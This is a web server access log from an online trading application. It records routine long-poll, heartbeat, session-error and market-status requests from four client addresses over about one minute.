[09/Jan/2026:15:06:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942649443 HTTP/1.1" -
[09/Jan/2026:15:06:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942650744 HTTP/1.1" -
[09/Jan/2026:15:06:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:06:22 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942657785 HTTP/1.1" -
[09/Jan/2026:15:06:22 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942652556 HTTP/1.1" -
[09/Jan/2026:15:06:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:06:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:06:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942654559 HTTP/1.1" -
[09/Jan/2026:15:06:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:06:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942655771 HTTP/1.1" -
[09/Jan/2026:15:06:27 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942663145 HTTP/1.1" -
[09/Jan/2026:15:06:27 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942657590 HTTP/1.1" -
[09/Jan/2026:15:06:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:06:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942659608 HTTP/1.1" -
[09/Jan/2026:15:06:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942660810 HTTP/1.1" -
[09/Jan/2026:15:06:32 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942668173 HTTP/1.1" -
[09/Jan/2026:15:06:32 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942662617 HTTP/1.1" -
[09/Jan/2026:15:06:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:06:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942664668 HTTP/1.1" -
[09/Jan/2026:15:06:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942665862 HTTP/1.1" -
[09/Jan/2026:15:06:37 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942673247 HTTP/1.1" -
[09/Jan/2026:15:06:37 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942667702 HTTP/1.1" -
[09/Jan/2026:15:06:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942669816 HTTP/1.1" -
[09/Jan/2026:15:06:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942670890 HTTP/1.1" -
[09/Jan/2026:15:06:42 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942678289 HTTP/1.1" -
[09/Jan/2026:15:06:42 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942672795 HTTP/1.1" -
[09/Jan/2026:15:06:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:06:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942674955 HTTP/1.1" -
[09/Jan/2026:15:06:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942675927 HTTP/1.1" -
[09/Jan/2026:15:06:47 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942683354 HTTP/1.1" -
[09/Jan/2026:15:06:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942677876 HTTP/1.1" -
[09/Jan/2026:15:06:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:48 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:06:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942680107 HTTP/1.1" -
[09/Jan/2026:15:06:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942680954 HTTP/1.1" -
[09/Jan/2026:15:06:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:06:52 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942688388 HTTP/1.1" -
[09/Jan/2026:15:06:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942682977 HTTP/1.1" -
[09/Jan/2026:15:06:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:53 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:06:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:06:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:06:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942685245 HTTP/1.1" -
[09/Jan/2026:15:06:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942685980 HTTP/1.1" -
[09/Jan/2026:15:06:57 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942693480 HTTP/1.1" -
[09/Jan/2026:15:06:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:06:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:06:58 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942688014 HTTP/1.1" -
[09/Jan/2026:15:07:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942690358 HTTP/1.1" -
[09/Jan/2026:15:07:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942690999 HTTP/1.1" -
[09/Jan/2026:15:07:02 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942698517 HTTP/1.1" -
[09/Jan/2026:15:07:03 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942693045 HTTP/1.1" -
[09/Jan/2026:15:07:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:07:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942696039 HTTP/1.1" -
[09/Jan/2026:15:07:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942695405 HTTP/1.1" -
[09/Jan/2026:15:07:08 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942703577 HTTP/1.1" -
[09/Jan/2026:15:07:08 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942698131 HTTP/1.1" -
[09/Jan/2026:15:07:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942701065 HTTP/1.1" -
[09/Jan/2026:15:07:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942700637 HTTP/1.1" -
[09/Jan/2026:15:07:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942708670 HTTP/1.1" -
[09/Jan/2026:15:07:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942703225 HTTP/1.1" -
[09/Jan/2026:15:07:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:13 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:07:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942706103 HTTP/1.1" -
[09/Jan/2026:15:07:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942705780 HTTP/1.1" -
[09/Jan/2026:15:07:18 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942713759 HTTP/1.1" -
[09/Jan/2026:15:07:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942708316 HTTP/1.1" -
[09/Jan/2026:15:07:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:18 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:07:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942711143 HTTP/1.1" -
[09/Jan/2026:15:07:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942710980 HTTP/1.1" -
[09/Jan/2026:15:07:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:07:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942718803 HTTP/1.1" -
[09/Jan/2026:15:07:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13975?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942713411 HTTP/1.1" -
[09/Jan/2026:15:07:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:23 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:07:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:25 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:15:07:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:15:07:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942716180 HTTP/1.1" -
[09/Jan/2026:15:07:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942716105 HTTP/1.1" -
[09/Jan/2026:15:07:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:15:07:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
